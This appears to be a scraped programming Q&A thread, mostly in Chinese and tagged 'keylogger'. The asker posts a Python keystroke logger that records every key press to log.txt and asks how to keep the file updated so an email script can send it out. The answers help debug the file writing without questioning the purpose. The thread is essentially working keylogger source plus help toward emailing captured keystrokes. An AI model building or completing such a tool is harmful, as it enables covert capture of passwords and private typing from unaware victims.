【问题标题】:How can I save it so the e-mail script can read/send it?如何保存它以便电子邮件脚本可以读取/发送它?
【发布时间】:2018-10-25 16:41:12
【问题描述】:

我想将 log.txt 发送到电子邮件。电子邮件部分有效,但此记录器不保存文件。它仅在退出时保存。所以它一直在写和写。每次按键后我都插入了 f.write 但它不起作用。

如果您能提供帮助,我将不胜感激。

问题是:如何保存它以便电子邮件脚本可以读取/发送它?

代码是:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

【问题讨论】:

    标签: python email file-writing keylogger


    【解决方案1】:

    您需要刷新缓冲区。试试

    logging.getLogger().handlers[0].flush()
    

    每次写入后。

    【讨论】:

    • def on_press(key): logging.info(str(key)) logging.getLogger().handlers[0].flush() with Listener(on_press=on_press) as listener: listener.join() 仍然无法正常工作,嗯。我尝试重新打开它:f = open('log.txt', 'a+') def on_press(key): logging.info(str(key)) logging.getLogger().handlers[0].flush() f.close() f with Listener(on_press=on_press) as listener: listener.join() 仍然无法正常工作
    【解决方案2】:

    在文件写入内容后尝试关闭文本文件

    f.close()
    

    另外我建议使用a+ 打开它以附加文件

    所以是这样的:

    log_dir = ""
    logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, 
    format='%(asctime)s: %(message)s')
    #f = open('log.txt', 'w')
    
    def on_press(key):
        f = open('log.txt', 'a+')
        logging.info(str(key))
        f.write("Put stuff here that you want written to a file")
        f.close()
    
    with Listener(on_press=on_press) as listener:
        listener.join()
    

    【讨论】:

    • 好吧,它仍然不起作用。 def on_press(key): logging.info(str(key)) f.close() with Listener(on_press=on_press) as listener: listener.join() 它在运行时写入文件,但我认为它不会关闭它。仍然没有发送任何附件。
    • @iroL 如果您关闭文件,您将需要重新打开它
    • def on_press(key): logging.info(str(key)) f.close() open('log.txt', 'a+') 喜欢这个吧?
    • @iroL 我编辑了我的答案以显示我认为可行的方法。如果有,请告诉我!
    • 它不会那样工作。 UnboundLocalError: local variable 'f' referenced before assignment
    猜你喜欢
    • 1970-01-01
    • 2015-10-01
    • 1970-01-01
    • 2020-10-17
    • 1970-01-01
    • 2018-01-15
    • 2014-08-30
    • 2018-12-14
    • 2011-09-16
    相关资源
    最近更新 更多